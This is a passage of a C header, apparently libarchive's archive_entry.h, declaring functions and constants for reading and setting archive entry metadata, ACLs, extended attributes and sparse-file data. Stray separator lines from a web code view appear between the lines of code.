#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__)
|
||||
# define __LA_MODE_T unsigned short
|
||||
#else
|
||||
# define __LA_MODE_T mode_t
|
||||
#endif
|
||||
|
||||
/* Large file support for Android */
|
||||
#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__)
|
||||
#include "android_lf.h"
|
||||
#endif
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries on all platforms and shared libraries on non-Windows. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1
|
||||
# define __LA_DEPRECATED __attribute__((deprecated))
|
||||
#else
|
||||
# define __LA_DEPRECATED
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Description of an archive entry.
|
||||
*
|
||||
* You can think of this as "struct stat" with some text fields added in.
|
||||
*
|
||||
* TODO: Add "comment", "charset", and possibly other entries that are
|
||||
* supported by "pax interchange" format. However, GNU, ustar, cpio,
|
||||
* and other variants don't support these features, so they're not an
|
||||
* excruciatingly high priority right now.
|
||||
*
|
||||
* TODO: "pax interchange" format allows essentially arbitrary
|
||||
* key/value attributes to be attached to any entry. Supporting
|
||||
* such extensions may make this library useful for special
|
||||
* applications (e.g., a package manager could attach special
|
||||
* package-management attributes to each entry).
|
||||
*/
|
||||
struct archive;
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* File-type constants. These are returned from archive_entry_filetype()
|
||||
* and passed to archive_entry_set_filetype().
|
||||
*
|
||||
* These values match S_XXX defines on every platform I've checked,
|
||||
* including Windows, AIX, Linux, Solaris, and BSD. They're
|
||||
* (re)defined here because platforms generally don't define the ones
|
||||
* they don't support. For example, Windows doesn't define S_IFLNK or
|
||||
* S_IFBLK. Instead of having a mass of conditional logic and system
|
||||
* checks to define any S_XXX values that aren't supported locally,
|
||||
* I've just defined a new set of such constants so that
|
||||
* libarchive-based applications can manipulate and identify archive
|
||||
* entries properly even if the hosting platform can't store them on
|
||||
* disk.
|
||||
*
|
||||
* These values are also used directly within some portable formats,
|
||||
* such as cpio. If you find a platform that varies from these, the
|
||||
* correct solution is to leave these alone and translate from these
|
||||
* portable values to platform-native values when entries are read from
|
||||
* or written to disk.
|
||||
*/
|
||||
/*
|
||||
* In libarchive 4.0, we can drop the casts here.
|
||||
* They're needed to work around Borland C's broken mode_t.
|
||||
*/
|
||||
#define AE_IFMT ((__LA_MODE_T)0170000)
|
||||
#define AE_IFREG ((__LA_MODE_T)0100000)
|
||||
#define AE_IFLNK ((__LA_MODE_T)0120000)
|
||||
#define AE_IFSOCK ((__LA_MODE_T)0140000)
|
||||
#define AE_IFCHR ((__LA_MODE_T)0020000)
|
||||
#define AE_IFBLK ((__LA_MODE_T)0060000)
|
||||
#define AE_IFDIR ((__LA_MODE_T)0040000)
|
||||
#define AE_IFIFO ((__LA_MODE_T)0010000)
|
||||
|
||||
/*
|
||||
* Symlink types
|
||||
*/
|
||||
#define AE_SYMLINK_TYPE_UNDEFINED 0
|
||||
#define AE_SYMLINK_TYPE_FILE 1
|
||||
#define AE_SYMLINK_TYPE_DIRECTORY 2
|
||||
|
||||
/*
|
||||
* Basic object manipulation
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
|
||||
/* The 'clone' function does a deep copy; all of the strings are copied too. */
|
||||
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_free(struct archive_entry *);
|
||||
__LA_DECL struct archive_entry *archive_entry_new(void);
|
||||
|
||||
/*
|
||||
* This form of archive_entry_new2() will pull character-set
|
||||
* conversion information from the specified archive handle. The
|
||||
* older archive_entry_new(void) form is equivalent to calling
|
||||
* archive_entry_new2(NULL) and will result in the use of an internal
|
||||
* default character-set conversion.
|
||||
*/
|
||||
__LA_DECL struct archive_entry *archive_entry_new2(struct archive *);
|
||||
|
||||
/*
|
||||
* Retrieve fields from an archive_entry.
|
||||
*
|
||||
* There are a number of implicit conversions among these fields. For
|
||||
* example, if a regular string field is set and you read the _w wide
|
||||
* character field, the entry will implicitly convert narrow-to-wide
|
||||
* using the current locale. Similarly, dev values are automatically
|
||||
* updated when you write devmajor or devminor and vice versa.
|
||||
*
|
||||
* In addition, fields can be "set" or "unset." Unset string fields
|
||||
* return NULL, non-string fields have _is_set() functions to test
|
||||
* whether they've been set. You can "unset" a string field by
|
||||
* assigning NULL; non-string fields have _unset() functions to
|
||||
* unset them.
|
||||
*
|
||||
* Note: There is one ambiguity in the above; string fields will
|
||||
* also return NULL when implicit character set conversions fail.
|
||||
* This is usually what you want.
|
||||
*/
|
||||
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_dev_is_set(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_fflags(struct archive_entry *,
|
||||
unsigned long * /* set */,
|
||||
unsigned long * /* clear */);
|
||||
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
|
||||
__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
|
||||
__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *);
|
||||
__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_ino_is_set(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
|
||||
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *);
|
||||
__LA_DECL la_int64_t archive_entry_size(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_symlink_type(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
|
||||
__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_is_encrypted(struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Set fields in an archive_entry.
|
||||
*
|
||||
* Note: Before libarchive 2.4, there were 'set' and 'copy' versions
|
||||
* of the string setters. 'copy' copied the actual string, 'set' just
|
||||
* stored the pointer. In libarchive 2.4 and later, strings are
|
||||
* always copied.
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
|
||||
unsigned long /* set */, unsigned long /* clear */);
|
||||
/* Returns pointer to start of first invalid token, or NULL if none. */
|
||||
/* Note that all recognized tokens are processed, regardless. */
|
||||
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
|
||||
const char *);
|
||||
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
|
||||
const wchar_t *);
|
||||
__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t);
|
||||
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_hardlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, la_int64_t);
|
||||
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, la_int64_t);
|
||||
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_link_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_pathname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_size(struct archive_entry *, la_int64_t);
|
||||
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_symlink_type(struct archive_entry *, int);
|
||||
__LA_DECL void archive_entry_set_symlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_uid(struct archive_entry *, la_int64_t);
|
||||
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_uname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_is_data_encrypted(struct archive_entry *, char is_encrypted);
|
||||
__LA_DECL void archive_entry_set_is_metadata_encrypted(struct archive_entry *, char is_encrypted);
|
||||
/*
|
||||
* Routines to bulk copy fields to/from a platform-native "struct
|
||||
* stat." Libarchive used to just store a struct stat inside of each
|
||||
* archive_entry object, but this created issues when trying to
|
||||
* manipulate archives on systems different than the ones they were
|
||||
* created on.
|
||||
*
|
||||
* TODO: On Linux and other LFS systems, provide both stat32 and
|
||||
* stat64 versions of these functions and all of the macro glue so
|
||||
* that archive_entry_stat is magically defined to
|
||||
* archive_entry_stat32 or archive_entry_stat64 as appropriate.
|
||||
*/
|
||||
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
|
||||
|
||||
/*
|
||||
* Storage for Mac OS-specific AppleDouble metadata information.
|
||||
* Apple-format tar files store a separate binary blob containing
|
||||
* encoded metadata with ACL, extended attributes, etc.
|
||||
* This provides a place to store that blob.
|
||||
*/
|
||||
|
||||
__LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *);
|
||||
__LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t);
|
||||
|
||||
/*
|
||||
* Digest routine. This is used to query the raw hex digest for the
|
||||
* given entry. The type of digest is provided as an argument.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_DIGEST_MD5 0x00000001
|
||||
#define ARCHIVE_ENTRY_DIGEST_RMD160 0x00000002
|
||||
#define ARCHIVE_ENTRY_DIGEST_SHA1 0x00000003
|
||||
#define ARCHIVE_ENTRY_DIGEST_SHA256 0x00000004
|
||||
#define ARCHIVE_ENTRY_DIGEST_SHA384 0x00000005
|
||||
#define ARCHIVE_ENTRY_DIGEST_SHA512 0x00000006
|
||||
|
||||
__LA_DECL const unsigned char * archive_entry_digest(struct archive_entry *, int /* type */);
|
||||
|
||||
/*
|
||||
* ACL routines. This used to simply store and return text-format ACL
|
||||
* strings, but that proved insufficient for a number of reasons:
|
||||
* = clients need control over uname/uid and gname/gid mappings
|
||||
* = there are many different ACL text formats
|
||||
* = would like to be able to read/convert archives containing ACLs
|
||||
* on platforms that lack ACL libraries
|
||||
*
|
||||
* This last point, in particular, forces me to implement a reasonably
|
||||
* complete set of ACL support routines.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Permission bits.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE 0x00000002
|
||||
#define ARCHIVE_ENTRY_ACL_READ 0x00000004
|
||||
#define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008
|
||||
#define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010
|
||||
#define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010
|
||||
#define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020
|
||||
#define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020
|
||||
#define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080
|
||||
#define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100
|
||||
#define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400
|
||||
#define ARCHIVE_ENTRY_ACL_DELETE 0x00000800
|
||||
#define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000
|
||||
#define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000
|
||||
|
||||
#define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \
|
||||
(ARCHIVE_ENTRY_ACL_EXECUTE \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE \
|
||||
| ARCHIVE_ENTRY_ACL_READ)
|
||||
|
||||
#define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \
|
||||
(ARCHIVE_ENTRY_ACL_EXECUTE \
|
||||
| ARCHIVE_ENTRY_ACL_READ_DATA \
|
||||
| ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE_DATA \
|
||||
| ARCHIVE_ENTRY_ACL_ADD_FILE \
|
||||
| ARCHIVE_ENTRY_ACL_APPEND_DATA \
|
||||
| ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \
|
||||
| ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \
|
||||
| ARCHIVE_ENTRY_ACL_DELETE_CHILD \
|
||||
| ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \
|
||||
| ARCHIVE_ENTRY_ACL_DELETE \
|
||||
| ARCHIVE_ENTRY_ACL_READ_ACL \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE_ACL \
|
||||
| ARCHIVE_ENTRY_ACL_WRITE_OWNER \
|
||||
| ARCHIVE_ENTRY_ACL_SYNCHRONIZE)
|
||||
|
||||
/*
|
||||
* Inheritance values (NFS4 ACLs only); included in permset.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERITED 0x01000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000
|
||||
#define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000
|
||||
|
||||
#define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \
|
||||
(ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS \
|
||||
| ARCHIVE_ENTRY_ACL_ENTRY_INHERITED)
|
||||
|
||||
/* We need to be able to specify combinations of these. */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 0x00000100 /* POSIX.1e only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 0x00000200 /* POSIX.1e only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 0x00000400 /* NFS4 only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_DENY 0x00000800 /* NFS4 only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 0x00001000 /* NFS4 only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ALARM 0x00002000 /* NFS4 only */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \
|
||||
| ARCHIVE_ENTRY_ACL_TYPE_DEFAULT)
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \
|
||||
| ARCHIVE_ENTRY_ACL_TYPE_DENY \
|
||||
| ARCHIVE_ENTRY_ACL_TYPE_AUDIT \
|
||||
| ARCHIVE_ENTRY_ACL_TYPE_ALARM)
|
||||
|
||||
/* Tag values mimic POSIX.1e */
|
||||
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
|
||||
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */
|
||||
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */
|
||||
#define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */
|
||||
|
||||
/*
|
||||
* Set the ACL by clearing it and adding entries one at a time.
|
||||
* Unlike the POSIX.1e ACL routines, you must specify the type
|
||||
* (access/default) for each entry. Internally, the ACL data is just
|
||||
* a soup of entries. API calls here allow you to retrieve just the
|
||||
* entries of interest. This design (which goes against the spirit of
|
||||
* POSIX.1e) is useful for handling archive formats that combine
|
||||
* default and access information in a single ACL list.
|
||||
*/
|
||||
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_acl_add_entry(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const char * /* name */);
|
||||
__LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const wchar_t * /* name */);
|
||||
|
||||
/*
|
||||
* To retrieve the ACL, first "reset", then repeatedly ask for the
|
||||
* "next" entry. The want_type parameter allows you to request only
|
||||
* certain types of entries.
|
||||
*/
|
||||
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
|
||||
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
|
||||
int * /* type */, int * /* permset */, int * /* tag */,
|
||||
int * /* qual */, const char ** /* name */);
|
||||
|
||||
/*
|
||||
* Construct a text-format ACL. The flags argument is a bitmask that
|
||||
* can include any of the following:
|
||||
*
|
||||
* Flags only for archive entries with POSIX.1e ACL:
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries.
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
|
||||
* default ACL entry.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_SOLARIS - Output only one colon after "other" and
|
||||
* "mask" entries.
|
||||
*
|
||||
* Flags only for archive entries with NFSv4 ACL:
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_COMPACT - Do not output the minus character for
|
||||
* unset permissions and flags in NFSv4 ACL permission and flag fields
|
||||
*
|
||||
* Flags for for archive entries with POSIX.1e ACL or NFSv4 ACL:
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
|
||||
* each ACL entry.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA - Separate entries with comma
|
||||
* instead of newline.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 0x00000001
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 0x00000002
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_SOLARIS 0x00000004
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_SEPARATOR_COMMA 0x00000008
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_COMPACT 0x00000010
|
||||
|
||||
__LA_DECL wchar_t *archive_entry_acl_to_text_w(struct archive_entry *,
|
||||
la_ssize_t * /* len */, int /* flags */);
|
||||
__LA_DECL char *archive_entry_acl_to_text(struct archive_entry *,
|
||||
la_ssize_t * /* len */, int /* flags */);
|
||||
__LA_DECL int archive_entry_acl_from_text_w(struct archive_entry *,
|
||||
const wchar_t * /* wtext */, int /* type */);
|
||||
__LA_DECL int archive_entry_acl_from_text(struct archive_entry *,
|
||||
const char * /* text */, int /* type */);
|
||||
|
||||
/* Deprecated constants */
|
||||
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
|
||||
#define OLD_ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
|
||||
|
||||
/* Deprecated functions */
|
||||
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
|
||||
int /* flags */) __LA_DEPRECATED;
|
||||
__LA_DECL const char *archive_entry_acl_text(struct archive_entry *,
|
||||
int /* flags */) __LA_DEPRECATED;
|
||||
|
||||
/* Return bitmask of ACL types in an archive entry */
|
||||
__LA_DECL int archive_entry_acl_types(struct archive_entry *);
|
||||
|
||||
/* Return a count of entries matching 'want_type' */
|
||||
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
|
||||
|
||||
/* Return an opaque ACL object. */
|
||||
/* There's not yet anything clients can actually do with this... */
|
||||
struct archive_acl;
|
||||
__LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *);
|
||||
|
||||
/*
|
||||
* extended attributes
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
|
||||
const char * /* name */, const void * /* value */,
|
||||
size_t /* size */);
|
||||
|
||||
/*
|
||||
* To retrieve the xattr list, first "reset", then repeatedly ask for the
|
||||
* "next" entry.
|
||||
*/
|
||||
|
||||
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
|
||||
const char ** /* name */, const void ** /* value */, size_t *);
|
||||
|
||||
/*
|
||||
* sparse
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_sparse_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *,
|
||||
la_int64_t /* offset */, la_int64_t /* length */);
|
||||
|
||||
/*
|
||||
* To retrieve the xattr list, first "reset", then repeatedly ask for the
|
||||
* "next" entry.
|
||||
*/
|
||||
|
||||
